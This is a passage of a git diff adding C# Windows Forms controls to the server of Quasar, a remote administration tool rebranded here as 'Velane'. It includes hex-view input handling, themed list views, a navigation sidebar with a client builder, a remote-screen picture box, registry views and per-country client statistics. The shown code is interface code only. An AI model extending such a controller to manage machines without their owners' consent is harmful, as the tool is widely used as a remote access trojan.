(e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + } + } + else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0) + { + int index = _editor.CaretIndex - 1; + HandleArrowKeys(index, e.Shift); + } + else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + HandleArrowKeys(index, e.Shift); + } + } + + public void HandleArrowKeys(int index, bool isShiftDown) + { + Point newLocation = GetCaretLocation(index); + if (isShiftDown) + _editor.SetCaretEnd(index, newLocation); + else + _editor.SetCaretStart(index, newLocation); + } + + #endregion + + #region Mouse + + public void OnMouseDown(int x, int y) + { + int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width; + int iY = (y - _recStringView.Y) / _recStringView.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + iY = iY < 0 ? 0 : iY; + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine); + + int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X; + int yPos = (iY * _recStringView.Height) + _recStringView.Y; + + _editor.SetCaretStart(index, new Point(xPos, yPos)); + } + + public void OnMouseDragged(int x, int y) + { + int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width; + int iY = (y - _recStringView.Y) / _recStringView.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + + if (_editor.FirstVisibleByte > 0) + { + iY = iY < 0 ? -1 : iY; + } + else + { + iY = iY < 0 ? 0 : iY; + } + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine); + + int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X; + int yPos = (iY * _recStringView.Height) + _recStringView.Y; + + _editor.SetCaretEnd(index, new Point(xPos, yPos)); + } + + public void OnMouseDoubleClick() + { + if (_editor.CaretIndex < _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretEnd(index, newLocation); + } + } + + #endregion + + #region Focus + + public void Focus() + { + int index = _editor.CaretIndex; + Point location = GetCaretLocation(index); + _editor.SetCaretStart(index, location); + } + + #endregion + + #endregion + + #region Paint + + public void Update(int startPositionX, Rectangle area) + { + _recStringView = new Rectangle( + startPositionX, + area.Y, + (int)(_editor.CharSize.Width * _editor.BytesPerLine), + (int)(_editor.CharSize.Height) - 2 + ); + + _recStringView.X += _editor.EntityMargin; + } + + public void Paint(Graphics g, int index, int startIndex) + { + Point columnAndRow = GetByteColumnAndRow(index); + + if (_editor.IsSelected(index + startIndex)) + { + PaintByteAsSelected(g, columnAndRow, (index + startIndex)); + } + else + { + PaintByte(g, columnAndRow, (index + startIndex)); + } + } + + private void PaintByteAsSelected(Graphics g, Point point, int index) + { + SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor); + SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor); + RectangleF drawSurface = GetBound(point); + char value = _editor.GetByteAsChar(index); + string strValue = (Char.IsControl(value) ? "." : value.ToString()); + + g.FillRectangle(backBrush, drawSurface); + g.DrawString(strValue, _editor.Font, textBrush, drawSurface, _stringFormat); + } + + private void PaintByte(Graphics g, Point point, int index) + { + SolidBrush brush = new SolidBrush(_editor.ForeColor); + RectangleF drawLocation = GetBound(point); + char value = _editor.GetByteAsChar(index); + string strValue = (Char.IsControl(value) ? "." : value.ToString()); + + g.DrawString(strValue, _editor.Font, brush, drawLocation, _stringFormat); + } + + #endregion + + #region Caret + + /// + /// Get the caret current location + /// in the given bound. + /// + private Point GetCaretLocation(int index) + { + int xPos = _recStringView.X + ((int)_editor.CharSize.Width * (index % _editor.BytesPerLine)); + int yPos = _recStringView.Y + ((int)_recStringView.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + Point ret = new Point(xPos, yPos); + return ret; + } + + #endregion + + #region Misc + + private void HandleUserRemove() + { + //Calculate where to position the caret after the removal + int index = _editor.SelectionStart; + Point position = GetCaretLocation(index); + //Remove all of the selected bytes + _editor.RemoveSelectedBytes(); + + //Set the new position of the caret + _editor.SetCaretStart(index, position); + } + + private void HandleUserInput(char key) + { + if (!_editor.CaretFocused) + return; + + HandleUserRemove(); + + byte newByte = Convert.ToByte(key); + + if (_editor.HexTableLength <= 0) + _editor.AppendByte(newByte); + else + _editor.InsertByte(_editor.CaretIndex, newByte); + + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + + private Point GetByteColumnAndRow(int index) + { + int column = index % _editor.BytesPerLine; + int row = index / _editor.BytesPerLine; + + Point ret = new Point(column, row); + return ret; + } + + private RectangleF GetBound(Point point) + { + RectangleF ret = new RectangleF( + _recStringView.X + (point.X * (int)_editor.CharSize.Width), + _recStringView.Y + (point.Y * _recStringView.Height), + _editor.CharSize.Width, + _recStringView.Height + ); + + return ret; + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/InputBox.cs b/Quasar-1.4.1/Quasar.Server/Controls/InputBox.cs new file mode 100755 index 0000000..08df5b4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/InputBox.cs @@ -0,0 +1,54 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + public static class InputBox + { + public static DialogResult Show(string title, string promptText, ref string value) + { + DialogResult dialogResult = DialogResult.Cancel; + using (var form = new Form()) + { + Label label = new Label(); + TextBox textBox = new TextBox(); + Button buttonOk = new Button(); + Button buttonCancel = new Button(); + + form.Text = title; + label.Text = promptText; + textBox.Text = value; + + buttonOk.Text = "OK"; + buttonCancel.Text = "Cancel"; + buttonOk.DialogResult = DialogResult.OK; + buttonCancel.DialogResult = DialogResult.Cancel; + + label.SetBounds(9, 20, 372, 13); + textBox.SetBounds(12, 36, 372, 20); + buttonOk.SetBounds(228, 72, 75, 23); + buttonCancel.SetBounds(309, 72, 75, 23); + + label.AutoSize = true; + textBox.Anchor = textBox.Anchor | AnchorStyles.Right; + buttonOk.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; + buttonCancel.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; + + form.ClientSize = new Size(396, 107); + form.Controls.AddRange(new Control[] {label, textBox, buttonOk, buttonCancel}); + form.ClientSize = new Size(Math.Max(300, label.Right + 10), form.ClientSize.Height); + form.FormBorderStyle = FormBorderStyle.FixedDialog; + form.StartPosition = FormStartPosition.CenterScreen; + form.MinimizeBox = false; + form.MaximizeBox = false; + form.AcceptButton = buttonOk; + form.CancelButton = buttonCancel; + + dialogResult = form.ShowDialog(); + value = textBox.Text; + } + return dialogResult; + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Controls/Line.cs b/Quasar-1.4.1/Quasar.Server/Controls/Line.cs new file mode 100755 index 0000000..28aefa6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/Line.cs @@ -0,0 +1,28 @@ +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + public class Line : Control + { + public enum Alignment + { + Horizontal, + Vertical + } + + public Alignment LineAlignment { get; set; } + + public Line() + { + this.TabStop = false; + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + e.Graphics.DrawLine(new Pen(new SolidBrush(Color.LightGray)), new Point(5, 5), + LineAlignment == Alignment.Horizontal ? new Point(500, 5) : new Point(5, 500)); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/ListViewEx.cs b/Quasar-1.4.1/Quasar.Server/Controls/ListViewEx.cs new file mode 100755 index 0000000..eee93fc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/ListViewEx.cs @@ -0,0 +1,257 @@ +using Quasar.Common.Helpers; +using Quasar.Server.Helper; +using Quasar.Server.Utilities; +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + internal class AeroListView : ListView + { + private const uint WM_CHANGEUISTATE = 0x127; + private const int WM_PAINT = 0x000F; + private const int WM_ERASEBKGND = 0x0014; + + private const short UIS_SET = 1; + private const short UISF_HIDEFOCUS = 0x1; + private readonly IntPtr _removeDots = new IntPtr(NativeMethodsHelper.MakeWin32Long(UIS_SET, UISF_HIDEFOCUS)); + + public ListViewColumnSorter LvwColumnSorter { get; set; } + + [DllImport("user32.dll")] + private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd); + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam); + + private const uint GW_CHILD = 5; + private const int HDM_FIRST = 0x1200; + private const int HDM_LAYOUT = HDM_FIRST + 5; + + /// + /// Initializes a new instance of the class. + /// + public AeroListView() + { + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + this.LvwColumnSorter = new ListViewColumnSorter(); + this.ListViewItemSorter = LvwColumnSorter; + this.View = View.Details; + this.FullRowSelect = true; + this.OwnerDraw = false; // Will be set in OnHandleCreated if dark mode is enabled + } + + /// + /// Enables dark mode drawing for this ListView + /// + public void EnableDarkMode() + { + if (this.OwnerDraw) return; // Already enabled + + this.OwnerDraw = true; + this.GridLines = false; // Remove gridlines + this.DrawItem += AeroListView_DrawItem; + this.DrawSubItem += AeroListView_DrawSubItem; + this.DrawColumnHeader += AeroListView_DrawColumnHeader; + this.BackColor = Color.FromArgb(37, 37, 38); + this.ForeColor = Color.White; + this.Invalidate(); + } + + private void AeroListView_DrawColumnHeader(object sender, DrawListViewColumnHeaderEventArgs e) + { + Color darkBg = Color.FromArgb(45, 45, 48); + Color darkFg = Color.White; + Color darkBorder = Color.FromArgb(63, 63, 70); + + e.Graphics.FillRectangle(new SolidBrush(darkBg), e.Bounds); + + using (Pen pen = new Pen(darkBorder)) + { + e.Graphics.DrawRectangle(pen, e.Bounds.X, e.Bounds.Y, e.Bounds.Width - 1, e.Bounds.Height - 1); + } + + TextRenderer.DrawText(e.Graphics, e.Header.Text, this.Font, e.Bounds, darkFg, + TextFormatFlags.Left | TextFormatFlags.VerticalCenter | TextFormatFlags.EndEllipsis); + } + + private void AeroListView_DrawItem(object sender, DrawListViewItemEventArgs e) + { + e.DrawDefault = false; + } + + private void AeroListView_DrawSubItem(object sender, DrawListViewSubItemEventArgs e) + { + Color darkBg = Color.FromArgb(45, 45, 48); + Color darkControlBg = Color.FromArgb(37, 37, 38); + Color darkFg = Color.White; + Color darkHighlight = Color.FromArgb(62, 62, 64); + + Color backColor; + Color foreColor = darkFg; + + if (e.Item.Selected) + { + backColor = darkHighlight; + foreColor = Color.White; + } + else + { + backColor = darkControlBg; + + // Preserve custom colors like red text + if (e.Item.ForeColor != Color.Empty && + e.Item.ForeColor != SystemColors.WindowText && + e.Item.ForeColor != Color.Black && + e.Item.ForeColor != darkFg) + { + foreColor = e.Item.ForeColor; + } + else if (e.SubItem.ForeColor != Color.Empty && + e.SubItem.ForeColor != SystemColors.WindowText && + e.SubItem.ForeColor != Color.Black && + e.SubItem.ForeColor != darkFg) + { + foreColor = e.SubItem.ForeColor; + } + } + + using (SolidBrush brush = new SolidBrush(backColor)) + { + e.Graphics.FillRectangle(brush, e.Bounds); + } + + if (!string.IsNullOrEmpty(e.SubItem.Text)) + { + TextRenderer.DrawText(e.Graphics, e.SubItem.Text, e.Item.Font, e.Bounds, foreColor, + TextFormatFlags.Left | TextFormatFlags.VerticalCenter | TextFormatFlags.EndEllipsis | TextFormatFlags.NoPrefix); + } + } + + /// + /// Raises the event. + /// + /// The instance containing the event data. + protected override void OnHandleCreated(EventArgs e) + { + base.OnHandleCreated(e); + + if (PlatformHelper.RunningOnMono) return; + + if (PlatformHelper.VistaOrHigher) + { + // set window theme to explorer (unless dark mode is enabled) + if (!ThemeManager.DarkModeEnabled) + { + NativeMethods.SetWindowTheme(this.Handle, "explorer", null); + } + } + + if (PlatformHelper.XpOrHigher) + { + // removes the ugly dotted line around focused item + NativeMethods.SendMessage(this.Handle, WM_CHANGEUISTATE, _removeDots, IntPtr.Zero); + } + + // Apply dark mode header styling if enabled + if (ThemeManager.DarkModeEnabled) + { + ApplyDarkModeHeader(); + } + } + + private void ApplyDarkModeHeader() + { + try + { + // Get the header control handle + IntPtr headerHandle = GetWindow(this.Handle, GW_CHILD); + if (headerHandle != IntPtr.Zero) + { + // Set dark theme for header + NativeMethods.SetWindowTheme(headerHandle, "DarkMode_Explorer", null); + } + } + catch + { + // Silently fail if header styling doesn't work + } + } + + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + + // Custom paint the header in dark mode + if (ThemeManager.DarkModeEnabled && m.Msg == WM_PAINT) + { + PaintDarkHeader(); + } + } + + private void PaintDarkHeader() + { + try + { + IntPtr headerHandle = GetWindow(this.Handle, GW_CHILD); + if (headerHandle != IntPtr.Zero) + { + using (Graphics g = Graphics.FromHwnd(headerHandle)) + { + Rectangle headerRect = new Rectangle(0, 0, this.Width, 20); + using (SolidBrush brush = new SolidBrush(Color.FromArgb(45, 45, 48))) + { + g.FillRectangle(brush, headerRect); + } + + int x = 0; + using (SolidBrush textBrush = new SolidBrush(Color.White)) + using (StringFormat sf = new StringFormat { LineAlignment = StringAlignment.Center }) + { + foreach (ColumnHeader column in this.Columns) + { + Rectangle colRect = new Rectangle(x, 0, column.Width, 20); + g.DrawString(column.Text, this.Font, textBrush, colRect, sf); + x += column.Width; + } + } + } + } + } + catch + { + // Silently fail + } + } + + /// + /// Raises the event. + /// + /// The instance containing the event data. + protected override void OnColumnClick(ColumnClickEventArgs e) + { + base.OnColumnClick(e); + + // Determine if clicked column is already the column that is being sorted. + if (e.Column == this.LvwColumnSorter.SortColumn) + { + // Reverse the current sort direction for this column. + this.LvwColumnSorter.Order = (this.LvwColumnSorter.Order == SortOrder.Ascending) + ? SortOrder.Descending + : SortOrder.Ascending; + } + else + { + // Set the column number that is to be sorted; default to ascending. + this.LvwColumnSorter.SortColumn = e.Column; + this.LvwColumnSorter.Order = SortOrder.Ascending; + } + + // Perform the sort with these new sort options. + if (!this.VirtualMode) + this.Sort(); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Controls/ModernSidebar.cs b/Quasar-1.4.1/Quasar.Server/Controls/ModernSidebar.cs new file mode 100755 index 0000000..37e355e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/ModernSidebar.cs @@ -0,0 +1,167 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + public class ModernSidebar : Panel + { + public event EventHandler ClientsClicked; + public event EventHandler SettingsClicked; + public event EventHandler BuilderClicked; + public event EventHandler NotificationCentreClicked; + public event EventHandler GraphViewClicked; + public event EventHandler AutoTasksClicked; + public event EventHandler AboutClicked; + + private Button btnClients; + private Button btnSettings; + private Button btnBuilder; + private Button btnNotificationCentre; + private Button btnGraphView; + private Button btnAutoTasks; + private Button btnAbout; + private Label lblTitle; + private Panel pnlLogo; + + public ModernSidebar() + { + InitializeComponent(); + } + + private void InitializeComponent() + { + this.Width = 180; + this.BackColor = Color.FromArgb(15, 15, 15); + this.Dock = DockStyle.Left; + + // Logo/Title area + pnlLogo = new Panel + { + Height = 60, + Dock = DockStyle.Top, + BackColor = Color.FromArgb(15, 15, 15) + }; + + lblTitle = new Label + { + Text = "Velane", + Font = new Font("Segoe UI", 16, FontStyle.Bold), + ForeColor = Color.FromArgb(0, 188, 212), + AutoSize = false, + TextAlign = ContentAlignment.MiddleLeft, + Dock = DockStyle.Fill, + Padding = new Padding(20, 0, 0, 0) + }; + + pnlLogo.Controls.Add(lblTitle); + this.Controls.Add(pnlLogo); + + // Navigation buttons + int yPos = 70; + btnClients = CreateNavButton("Clients", yPos); + btnClients.Click += (s, e) => ClientsClicked?.Invoke(this, EventArgs.Empty); + yPos += 45; + + btnSettings = CreateNavButton("Settings", yPos); + btnSettings.Click += (s, e) => SettingsClicked?.Invoke(this, EventArgs.Empty); + yPos += 45; + + btnBuilder = CreateNavButton("Builder", yPos); + btnBuilder.Click += (s, e) => BuilderClicked?.Invoke(this, EventArgs.Empty); + yPos += 45; + + btnNotificationCentre = CreateNavButton("Notification Centre", yPos); + btnNotificationCentre.Click += (s, e) => NotificationCentreClicked?.Invoke(this, EventArgs.Empty); + yPos += 45; + + btnGraphView = CreateNavButton("Graph View", yPos); + btnGraphView.Click += (s, e) => GraphViewClicked?.Invoke(this, EventArgs.Empty); + yPos += 45; + + btnAutoTasks = CreateNavButton("Auto Tasks", yPos); + btnAutoTasks.Click += (s, e) => AutoTasksClicked?.Invoke(this, EventArgs.Empty); + yPos += 45; + + // About at bottom + btnAbout = CreateNavButton("About", 0); + btnAbout.Dock = DockStyle.Bottom; + btnAbout.Click += (s, e) => AboutClicked?.Invoke(this, EventArgs.Empty); + + this.Controls.Add(btnClients); + this.Controls.Add(btnSettings); + this.Controls.Add(btnBuilder); + this.Controls.Add(btnNotificationCentre); + this.Controls.Add(btnGraphView); + this.Controls.Add(btnAutoTasks); + this.Controls.Add(btnAbout); + + // Set Clients as selected by default + SetSelectedButton(btnClients); + } + + private Button CreateNavButton(string text, int yPos) + { + var btn = new Button + { + Text = text, + Width = 180, + Height = 40, + Left = 0, + Top = yPos, + FlatStyle = FlatStyle.Flat, + BackColor = Color.FromArgb(15, 15, 15), + ForeColor = Color.FromArgb(180, 180, 180), + Font = new Font("Segoe UI", 10), + TextAlign = ContentAlignment.MiddleLeft, + Padding = new Padding(20, 0, 0, 0), + Cursor = Cursors.Hand + }; + + btn.FlatAppearance.BorderSize = 0; + btn.FlatAppearance.MouseOverBackColor = Color.FromArgb(25, 25, 25); + btn.FlatAppearance.MouseDownBackColor = Color.FromArgb(30, 30, 30); + + btn.MouseEnter += (s, e) => + { + if (btn.BackColor != Color.FromArgb(0, 188, 212)) + btn.BackColor = Color.FromArgb(25, 25, 25); + }; + + btn.MouseLeave += (s, e) => + { + if (btn.BackColor != Color.FromArgb(0, 188, 212)) + btn.BackColor = Color.FromArgb(15, 15, 15); + }; + + btn.Click += (s, e) => SetSelectedButton(btn); + + return btn; + } + + private void SetSelectedButton(Button selectedBtn) + { + // Reset all buttons + foreach (Control ctrl in this.Controls) + { + if (ctrl is Button btn && btn != selectedBtn) + { + btn.BackColor = Color.FromArgb(15, 15, 15); + btn.ForeColor = Color.FromArgb(180, 180, 180); + } + } + + // Highlight selected + selectedBtn.BackColor = Color.FromArgb(0, 188, 212); + selectedBtn.ForeColor = Color.White; + } + + public void SelectClients() => SetSelectedButton(btnClients); + public void SelectSettings() => SetSelectedButton(btnSettings); + public void SelectBuilder() => SetSelectedButton(btnBuilder); + public void SelectNotificationCentre() => SetSelectedButton(btnNotificationCentre); + public void SelectGraphView() => SetSelectedButton(btnGraphView); + public void SelectAutoTasks() => SetSelectedButton(btnAutoTasks); + public void SelectAbout() => SetSelectedButton(btnAbout); + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/RapidPictureBox.cs b/Quasar-1.4.1/Quasar.Server/Controls/RapidPictureBox.cs new file mode 100755 index 0000000..8d05896 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/RapidPictureBox.cs @@ -0,0 +1,189 @@ +using System; +using System.Diagnostics; +using System.Drawing; +using System.Windows.Forms; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Controls +{ + public interface IRapidPictureBox + { + bool Running { get; set; } + Image GetImageSafe { get; set; } + + void Start(); + void Stop(); + void UpdateImage(Bitmap bmp, bool cloneBitmap = false); + } + + /// + /// Custom PictureBox Control designed for rapidly-changing images. + /// + public class RapidPictureBox : PictureBox, IRapidPictureBox + { + /// + /// True if the PictureBox is currently streaming images, else False. + /// + public bool Running { get; set; } + + /// + /// Returns the width of the original screen. + /// + public int ScreenWidth { get; private set; } + + /// + /// Returns the height of the original screen. + /// + public int ScreenHeight { get; private set; } + + /// + /// Provides thread-safe access to the Image of this Picturebox. + /// + public Image GetImageSafe + { + get + { + return Image; + } + set + { + lock (_imageLock) + { + Image = value; + } + } + } + + /// + /// The lock object for the Picturebox's image. + /// + private readonly object _imageLock = new object(); + + /// + /// The Stopwatch for internal FPS measuring. + /// + private Stopwatch _sWatch; + + /// + /// The internal class for FPS measuring. + /// + private FrameCounter _frameCounter; + + /// + /// Subscribes an Eventhandler to the FrameUpdated event. + /// + /// The Eventhandler to set. + public void SetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated += e; + } + + /// + /// Unsubscribes an Eventhandler from the FrameUpdated event. + /// + /// The Eventhandler to remove. + public void UnsetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated -= e; + } + + /// + /// Starts the internal FPS measuring. + /// + public void Start() + { + _frameCounter = new FrameCounter(); + + _sWatch = Stopwatch.StartNew(); + + Running = true; + } + + /// + /// Stops the internal FPS measuring. + /// + public void Stop() + { + _sWatch?.Stop(); + + Running = false; + } + + /// + /// Updates the Image of this Picturebox. + /// + /// The new bitmap to use. + /// If True the bitmap will be cloned, else it uses the original bitmap. + public void UpdateImage(Bitmap bmp, bool cloneBitmap) + { + try + { + CountFps(); + + if ((ScreenWidth != bmp.Width) && (ScreenHeight != bmp.Height)) + UpdateScreenSize(bmp.Width, bmp.Height); + + lock (_imageLock) + { + // get old image to dispose it correctly + var oldImage = GetImageSafe; + + SuspendLayout(); + GetImageSafe = cloneBitmap ? new Bitmap(bmp, Width, Height) /*resize bitmap*/ : bmp; + ResumeLayout(); + + oldImage?.Dispose(); + } + } + catch (InvalidOperationException) + { + } + catch (Exception) + { + } + } + + /// + /// Constructor, sets Picturebox double-buffered and initializes the Framecounter. + /// + public RapidPictureBox() + { + this.SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true); + } + + protected override CreateParams CreateParams + { + get + { + CreateParams cp = base.CreateParams; + cp.ExStyle |= 0x02000000; // Turn on WS_EX_COMPOSITED + return cp; + } + } + + protected override void OnPaint(PaintEventArgs pe) + { + lock (_imageLock) + { + if (GetImageSafe != null) + { + pe.Graphics.DrawImage(GetImageSafe, Location); + } + } + } + + private void UpdateScreenSize(int newWidth, int newHeight) + { + ScreenWidth = newWidth; + ScreenHeight = newHeight; + } + + private void CountFps() + { + var deltaTime = (float)_sWatch.Elapsed.TotalSeconds; + _sWatch = Stopwatch.StartNew(); + + _frameCounter.Update(deltaTime); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Controls/RegistryTreeView.cs b/Quasar-1.4.1/Quasar.Server/Controls/RegistryTreeView.cs new file mode 100755 index 0000000..13aabd0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/RegistryTreeView.cs @@ -0,0 +1,13 @@ +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + public class RegistryTreeView : TreeView + { + public RegistryTreeView() + { + //Enable double buffering and ignore WM_ERASEBKGND to reduce flicker + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/RegistryValueLstItem.cs b/Quasar-1.4.1/Quasar.Server/Controls/RegistryValueLstItem.cs new file mode 100755 index 0000000..050c133 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/RegistryValueLstItem.cs @@ -0,0 +1,72 @@ +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Server.Extensions; +using Quasar.Server.Registry; + +namespace Quasar.Server.Controls +{ + public class RegistryValueLstItem : ListViewItem + { + private string _type { get; set; } + private string _data { get; set; } + + public string RegName { + get { return this.Name; } + set + { + this.Name = value; + this.Text = RegValueHelper.GetName(value); + } + } + public string Type { + get { return _type; } + set + { + _type = value; + + if (this.SubItems.Count < 2) + this.SubItems.Add(_type); + else + this.SubItems[1].Text = _type; + + this.ImageIndex = GetRegistryValueImgIndex(_type); + } + } + + public string Data { + get { return _data; } + set + { + _data = value; + + if (this.SubItems.Count < 3) + this.SubItems.Add(_data); + else + this.SubItems[2].Text = _data; + } + } + + public RegistryValueLstItem(RegValueData value) + { + RegName = value.Name; + Type = value.Kind.RegistryTypeToString(); + Data = RegValueHelper.RegistryValueToString(value); + } + + private int GetRegistryValueImgIndex(string type) + { + switch (type) + { + case "REG_MULTI_SZ": + case "REG_SZ": + case "REG_EXPAND_SZ": + return 0; + case "REG_BINARY": + case "REG_DWORD": + case "REG_QWORD": + default: + return 1; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.Designer.cs b/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.Designer.cs new file mode 100755 index 0000000..adf06f5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.Designer.cs @@ -0,0 +1,325 @@ +using System.Windows.Forms.DataVisualization.Charting; + +namespace Quasar.Server.Controls +{ + partial class StatisticsPanel + { + private System.ComponentModel.IContainer components = null; + + private void InitializeComponent() + { + System.Windows.Forms.DataVisualization.Charting.ChartArea chartArea1 = new System.Windows.Forms.DataVisualization.Charting.ChartArea(); + System.Windows.Forms.DataVisualization.Charting.Legend legend1 = new System.Windows.Forms.DataVisualization.Charting.Legend(); + this.panelTop = new System.Windows.Forms.Panel(); + this.btnRefresh = new System.Windows.Forms.Button(); + this.lblCountriesValue = new System.Windows.Forms.Label(); + this.lblCountries = new System.Windows.Forms.Label(); + this.lblOnlineValue = new System.Windows.Forms.Label(); + this.lblOnline = new System.Windows.Forms.Label(); + this.lblTotalValue = new System.Windows.Forms.Label(); + this.lblTotal = new System.Windows.Forms.Label(); + this.lblTitle = new System.Windows.Forms.Label(); + this.panelMain = new System.Windows.Forms.Panel(); + this.splitContainer = new System.Windows.Forms.SplitContainer(); + this.groupCountries = new System.Windows.Forms.GroupBox(); + this.lvCountries = new System.Windows.Forms.ListView(); + this.colCountry = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.colClients = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.colPercentage = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.groupOS = new System.Windows.Forms.GroupBox(); + this.chartOS = new System.Windows.Forms.DataVisualization.Charting.Chart(); + this.panelTop.SuspendLayout(); + this.panelMain.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit(); + this.splitContainer.Panel1.SuspendLayout(); + this.splitContainer.Panel2.SuspendLayout(); + this.splitContainer.SuspendLayout(); + this.groupCountries.SuspendLayout(); + this.groupOS.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.chartOS)).BeginInit(); + this.SuspendLayout(); + // + // panelTop + // + this.panelTop.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.panelTop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panelTop.Controls.Add(this.btnRefresh); + this.panelTop.Controls.Add(this.lblCountriesValue); + this.panelTop.Controls.Add(this.lblCountries); + this.panelTop.Controls.Add(this.lblOnlineValue); + this.panelTop.Controls.Add(this.lblOnline); + this.panelTop.Controls.Add(this.lblTotalValue); + this.panelTop.Controls.Add(this.lblTotal); + this.panelTop.Controls.Add(this.lblTitle); + this.panelTop.Dock = System.Windows.Forms.DockStyle.Top; + this.panelTop.ForeColor = System.Drawing.Color.White; + this.panelTop.Location = new System.Drawing.Point(0, 0); + this.panelTop.Margin = new System.Windows.Forms.Padding(4); + this.panelTop.Name = "panelTop"; + this.panelTop.Size = new System.Drawing.Size(1333, 86); + this.panelTop.TabIndex = 0; + // + // btnRefresh + // + this.btnRefresh.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnRefresh.BackColor = System.Drawing.Color.Transparent; + this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.System; + this.btnRefresh.Location = new System.Drawing.Point(1187, 25); + this.btnRefresh.Margin = new System.Windows.Forms.Padding(4); + this.btnRefresh.Name = "btnRefresh"; + this.btnRefresh.Size = new System.Drawing.Size(120, 34); + this.btnRefresh.TabIndex = 7; + this.btnRefresh.Text = "Refresh"; + this.btnRefresh.UseVisualStyleBackColor = false; + 